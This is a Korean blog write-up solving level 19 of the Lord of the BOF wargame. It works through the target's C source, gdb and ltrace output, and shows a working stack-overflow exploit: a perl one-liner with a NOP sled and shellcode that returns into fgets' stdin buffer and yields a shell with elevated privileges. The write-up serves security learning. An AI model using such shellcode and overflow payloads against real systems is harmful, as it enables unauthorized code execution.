IT 그리고 정보보안/Write-up

LOB Level 19 (nightmare)

plummmm 2021. 4. 12. 19:17
반응형

xavius.c 를 열어보았다.

 

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>

 

main()

{

        char buffer[40];

        char *ret_addr;

 

        // overflow!

        fgets(buffer, 256, stdin);

        printf("%s\n", buffer);

 

        if(*(buffer+47) == '\xbf')

        {

                printf("stack retbayed you!\n");                 // ret에 스택상의 주소를 쓸 수 없음

                exit(0);

        }

 

        if(*(buffer+47) == '\x08')                                     // 가젯 사용 불가능

        {

                printf("binary image retbayed you, too!!\n");           

                exit(0);

        }

 

        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave                          

                        if(*(ret_addr+1) == '\xc3'){    // ret

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }

 

        // stack destroyer

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

 

        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}

 

일단 while문 안에 내용이 궁금하여 leave ret 코드가 있는 곳을 들여다 보았다.

 

0x8048829 <main+277>:   leave

0x804882a <main+278>:   ret

0x804882b <main+279>:   nop

0x804882c <main+280>:   nop

0x804882d <main+281>:   nop

0x804882e <main+282>:   nop

0x804882f <main+283>:   nop

End of assembler dump.

(gdb) x/x 0x804882a

0x804882a <main+278>:   0x909090c3

(gdb) x/x0x8048829

0x8048829 <main+277>:   0x9090c3c9

(gdb)

 

아~ ret의 값에 \xc9, \xc3 이 나오면 안된다는 말이다.

leave-ret 이 오면 안된다는 말인데.. 그럼 함수를 사용하지 못하는 것이다.

라이브러리 함수들은 모두 leave-ret 이 있으니.

 

또한 스택 파괴자도 있다.

ret자리 빼고 다 0으로 바꿔버린다.

그리고 ld_preload도 사용 불가능..

 

솔직히 처음 보고 정말 답이 없었다... 어떻게 해야하는 건지;;

일단 한가지 알 수 있는건 0x00400000대 주소는 사용이 가능하다는거.

난 몰라서 검색해서 찾아봤다. 솔직히 내 머리론 유추해낼 수가 없었다.

fgets 의 임시버퍼를 이용해서 공격해보자. 

이 함수는 표준입력을 받으면 임시버퍼에 저장을 해서 임시버퍼를 지우지 않는다고 한다.

 

그럼 임시버퍼의 위치를 추적해보자.

ltrace의 -S 옵션으로 알아보자. (시스템콜 추적)

 

[nightmare@localhost nightmare]$ ltrace -S ./xaviuz

SYS_brk(NULL)                                     = 0x08049a58

SYS_mmap(0xbffff690, 1, 0x40013868, 4096, 556)    = 0x40014000

SYS_open("/etc/ld.so.preload", 0, 010000234150)   = -2

SYS_open("/etc/ld.so.cache", 0, 010000234150)     = 3

SYS_fstat(3, 0xbffff4e0, 0x40013868, 0xbffff540, 3) = 0

SYS_mmap(0xbffff51c, 0xbffff4e0, 0x40013868, 0x400013d3, 3) = 0x40015000

SYS_close(3)                                      = 0

SYS_open("/lib/libc.so.6", 0, 010000234150)       = 3

SYS_fstat(3, 0xbffff438, 0x400143d0, 0xbffff560, 3) = 0

SYS_read(3, "\177ELF\001\001\001", 4096)          = 4096

SYS_mmap(0xbfffe3fc, 970752, 0x40013868, 0xbfffe414, 0xbffff5c8) = 0x40018000

SYS_mprotect(0x40105000, 30812, 0, 30812, 0x40105000) = 0

SYS_mmap(0xbfffe3fc, 16384, 0x40013868, 0x400143e0, 0xbffff5c8) = 0x40105000

SYS_mmap(0xbfffe3fc, 0, 0x40013868, 0x40109000, 0xbfffe42c) = 0x40109000

SYS_close(3)                                      = 0

SYS_mprotect(0x40018000, 970752, 3, 0x400143e0, 0x40018088) = 0

SYS_mprotect(0x40018000, 970752, 5, 0x40018000, 5) = 0

SYS_munmap(0x40015000, 12210)                     = 0

SYS_personality(0)                                = 0

SYS_getpid()                                      = 2370

__libc_start_main(0x08048714, 1, 0xbffffb54, 0x08048398, 0x0804885c <unfinished ...>

__register_frame_info(0x08049950, 0x08049a40, 0xbffffb14, 0x080483bd, 0x401081ec) = 0x40108d40

fgets( <unfinished ...>

SYS_197(0, 0xbffff984, 0x40108d60, 0x401068c0, 0) = -38

SYS_fstat(0, 0xbffff910, 0x40108d60, -1, 0)       = 0

SYS_mmap(0xbffff960, 0xbffff984, 0x401081ec, 1024, 1) = 0x40015000

SYS_ioctl(0, 21505, 0xbffff8f8, 0xbffff930, 1)    = 0

SYS_read(0,

"\n", 1024)                           = 1

<... fgets resumed> "\n", 256, 0x401068c0)        = 0xbffffae0

printf("%s\n", "\n" <unfinished ...>

SYS_fstat(1, 0xbffff2b0, 0x40106820, 0x40106980, 1) = 0

SYS_mmap(0xbffff300, 0xbffff324, 0x401081ec, 1024, 1) = 0x40016000

SYS_ioctl(1, 21505, 0xbffff298, 0xbffff2d0, 1)    = 0

SYS_write(1, "\n", 1

)                             = 1

SYS_write(1, "\n", 1

)                             = 1

<... printf resumed> )                            = 2

memcpy(0xbffffadc, "\313\t\003@", 4)              = 0xbffffadc

memcmp(0x400309cb, 0x08048902, 2, 0x400309cb, 0xbfff000a) = -1

memcmp(0x400309cc, 0x08048902, 2, 0x400309cc, 0xbfff000a) = 1

memcmp(0x400309cd, 0x08048902, 2, 0x400309cd, 0xbfff000a) = -1

memcmp(0x400309ce, 0x08048902, 2, 0x400309ce, 0xbfff000a) = 1

memcmp(0x400309cf, 0x08048902, 2, 0x400309cf, 0xbfff000a) = 1

memcmp(0x400309d0, 0x08048902, 2, 0x400309d0, 0xbfff000a) = 1

memcmp(0x400309d1, 0x08048902, 2, 0x400309d1, 0xbfff000a) = 0

memset(0xbffffae0, '\000', 44)                    = 0xbffffae0

memset(0xbffffb10, '\000', 1263)                  = 0xbffffb10

memset(0xbfffef28, '\000', 2960)                  = 0xbfffef28

__deregister_frame_info(0x08049950, 0xbffffaf0, 0x08048871, 0x401081ec, 0xbffffb04) = 0x08049a40

SYS_munmap(0x40016000, 4096)                      = 0

SYS_exit(-1073746136)                             = <void>

+++ exited (status 40) +++

 

0x40015000은 mmap의 리턴값으로 실제 fgets함수가 맵핑되는 곳이다.

저곳을 한번 들여다 보고 임시버퍼가 어딘지 확인해보자.

 

[nightmare@localhost nightmare]$ gdb -q xaviuz

(gdb) set disassembly-flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x8048714 <main>:       push   %ebp

0x8048715 <main+1>:     mov    %ebp,%esp

0x8048717 <main+3>:     sub    %esp,44

0x804871a <main+6>:     mov    %eax,%ds:0x8049a3c

0x804871f <main+11>:    push   %eax

0x8048720 <main+12>:    push   0x100

0x8048725 <main+17>:    lea    %eax,[%ebp-40]

0x8048728 <main+20>:    push   %eax

0x8048729 <main+21>:    call   0x8048408 <fgets>

0x804872e <main+26>:    add    %esp,12

0x8048731 <main+29>:    lea    %eax,[%ebp-40]

0x8048734 <main+32>:    push   %eax

0x8048735 <main+33>:    push   0x80488bb

0x804873a <main+38>:    call   0x8048438 <printf>

0x804873f <main+43>:    add    %esp,8

0x8048742 <main+46>:    cmp    BYTE PTR [%ebp+7],0xbf

0x8048746 <main+50>:    jne    0x8048760 <main+76>

0x8048748 <main+52>:    push   0x80488bf

0x804874d <main+57>:    call   0x8048438 <printf>

0x8048752 <main+62>:    add    %esp,4

0x8048755 <main+65>:    push   0

0x8048757 <main+67>:    call   0x8048458 <exit>

---Type <return> to continue, or q <return> to quit---

0x804875c <main+72>:    add    %esp,4

0x804875f <main+75>:    nop

0x8048760 <main+76>:    cmp    BYTE PTR [%ebp+7],0x8

0x8048764 <main+80>:    jne    0x8048780 <main+108>

0x8048766 <main+82>:    push   0x80488e0

0x804876b <main+87>:    call   0x8048438 <printf>

0x8048770 <main+92>:    add    %esp,4

0x8048773 <main+95>:    push   0

0x8048775 <main+97>:    call   0x8048458 <exit>

0x804877a <main+102>:   add    %esp,4

0x804877d <main+105>:   lea    %esi,[%esi]

0x8048780 <main+108>:   push   4

0x8048782 <main+110>:   lea    %eax,[%ebp-40]

0x8048785 <main+113>:   lea    %edx,[%eax+44]

0x8048788 <main+116>:   push   %edx

0x8048789 <main+117>:   lea    %eax,[%ebp-44]

0x804878c <main+120>:   push   %eax

0x804878d <main+121>:   call   0x8048448 <memcpy>

0x8048792 <main+126>:   add    %esp,12

0x8048795 <main+129>:   push   2

0x8048797 <main+131>:   push   0x8048902

0x804879c <main+136>:   mov    %eax,DWORD PTR [%ebp-44]

0x804879f <main+139>:   push   %eax

---Type <return> to continue, or q <return> to quit---

0x80487a0 <main+140>:   call   0x8048418 <memcmp>

0x80487a5 <main+145>:   add    %esp,12

0x80487a8 <main+148>:   mov    %eax,%eax

0x80487aa <main+150>:   test   %eax,%eax

0x80487ac <main+152>:   jne    0x80487b0 <main+156>

0x80487ae <main+154>:   jmp    0x80487e0 <main+204>

0x80487b0 <main+156>:   mov    %eax,DWORD PTR [%ebp-44]

0x80487b3 <main+159>:   cmp    BYTE PTR [%eax],0xc9

0x80487b6 <main+162>:   jne    0x80487d8 <main+196>

0x80487b8 <main+164>:   mov    %eax,DWORD PTR [%ebp-44]

0x80487bb <main+167>:   inc    %eax

0x80487bc <main+168>:   cmp    BYTE PTR [%eax],0xc3

0x80487bf <main+171>:   jne    0x80487d8 <main+196>

0x80487c1 <main+173>:   push   0x8048920

0x80487c6 <main+178>:   call   0x8048438 <printf>

0x80487cb <main+183>:   add    %esp,4

0x80487ce <main+186>:   push   0

0x80487d0 <main+188>:   call   0x8048458 <exit>

0x80487d5 <main+193>:   add    %esp,4

0x80487d8 <main+196>:   inc    DWORD PTR [%ebp-44]

0x80487db <main+199>:   jmp    0x8048795 <main+129>

0x80487dd <main+201>:   lea    %esi,[%esi]

0x80487e0 <main+204>:   push   44

---Type <return> to continue, or q <return> to quit---

0x80487e2 <main+206>:   push   0

0x80487e4 <main+208>:   lea    %eax,[%ebp-40]

0x80487e7 <main+211>:   push   %eax

0x80487e8 <main+212>:   call   0x8048468 <memset>

0x80487ed <main+217>:   add    %esp,12

0x80487f0 <main+220>:   lea    %eax,[%ebp-40]

0x80487f3 <main+223>:   mov    %edx,0xbfffffcf

0x80487f8 <main+228>:   mov    %ecx,%edx

0x80487fa <main+230>:   sub    %ecx,%eax

0x80487fc <main+232>:   mov    %eax,%ecx

0x80487fe <main+234>:   push   %eax

0x80487ff <main+235>:   push   0

0x8048801 <main+237>:   lea    %eax,[%ebp-40]

0x8048804 <main+240>:   lea    %edx,[%eax+48]

0x8048807 <main+243>:   push   %edx

0x8048808 <main+244>:   call   0x8048468 <memset>

0x804880d <main+249>:   add    %esp,12

0x8048810 <main+252>:   push   0xb90

0x8048815 <main+257>:   push   0

0x8048817 <main+259>:   lea    %eax,[%ebp-40]

0x804881a <main+262>:   lea    %edx,[%eax-3000]

0x8048820 <main+268>:   push   %edx

0x8048821 <main+269>:   call   0x8048468 <memset>

---Type <return> to continue, or q <return> to quit---

0x8048826 <main+274>:   add    %esp,12

0x8048829 <main+277>:   leave

0x804882a <main+278>:   ret

0x804882b <main+279>:   nop

0x804882c <main+280>:   nop

0x804882d <main+281>:   nop

0x804882e <main+282>:   nop

0x804882f <main+283>:   nop

End of assembler dump.

(gdb) b *main+43

Breakpoint 1 at 0x804873f

(gdb) r

Starting program: /home/nightmare/xaviuz

 

 

Breakpoint 1, 0x804873f in main ()

(gdb)

(gdb) d

Delete all breakpoints? (y or n) y

(gdb)

(gdb) b *main+43

Breakpoint 2 at 0x804873f

(gdb) r

The program being debugged has been started already.

Start it from the beginning? (y or n) y

Starting program: /home/nightmare/xaviuz

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

 

 

Breakpoint 2, 0x804873f in main ()

(gdb) x/40s 0x40015000

0x40015000:      'A' <repeats 34 times>, "\n"

0x40015024:      ""

0x40015025:      ""

0x40015026:      ""

0x40015027:      ""

0x40015028:      ""

0x40015029:      ""

0x4001502a:      ""

0x4001502b:      ""

0x4001502c:      ""

0x4001502d:      ""

0x4001502e:      ""

0x4001502f:      ""

0x40015030:      ""

0x40015031:      ""

0x40015032:      ""

0x40015033:      ""

0x40015034:      ""

0x40015035:      ""

0x40015036:      ""

0x40015037:      ""

0x40015038:      ""

0x40015039:      ""

 

예상대로 0x40015000 부분이 임시버퍼가 저장되는 곳이다.

그럼 셸코드를 이용한 페이로드를 구성할 수 있겠지.

ret에 마지막 주소가 00이 되면 안되기 때문에 페이로드에 nop을 주고

그쪽으로 ret를 준다. 버퍼가 얼마 안되므로.. 셸코드도 짧은걸 써야겠지

 

[nop 28] [shellcode 16] [ret]

 

 

[nightmare@localhost nightmare]$​(perl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40\x50\x31\xc0\x50\xb8\xe0\x8a\x05\x40\x50\xc3","\x02\x50\x01\x40"';cat)| ./xavius

^[[B^[[B^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[B^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A^[[A

릱릱릱릱릱릱릱릱릱릱릱릱릱릱몽?P1픐멘?P홓@

erl -e 'print "\x90"x28,"\xb8\xf9\xbf\x0f\x40

 

릱릱릱릱릱릱릱릱릱릱릱릱릱릱몽?P1픐멘?P홓@

 

id

uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)

my-pass

euid = 519

throw me away

 

반응형

'IT 그리고 정보보안 > Write-up' 카테고리의 다른 글

Pwnable.kr - fd  (0) 2021.04.12
LOB Level 20 (xavius)  (0) 2021.04.12
LOB Level 18 (succubus)  (0) 2021.04.12
LOB Level 17 (zombie_assassin)  (0) 2021.04.12
LOB Level 16 (assassin)  (0) 2021.04.12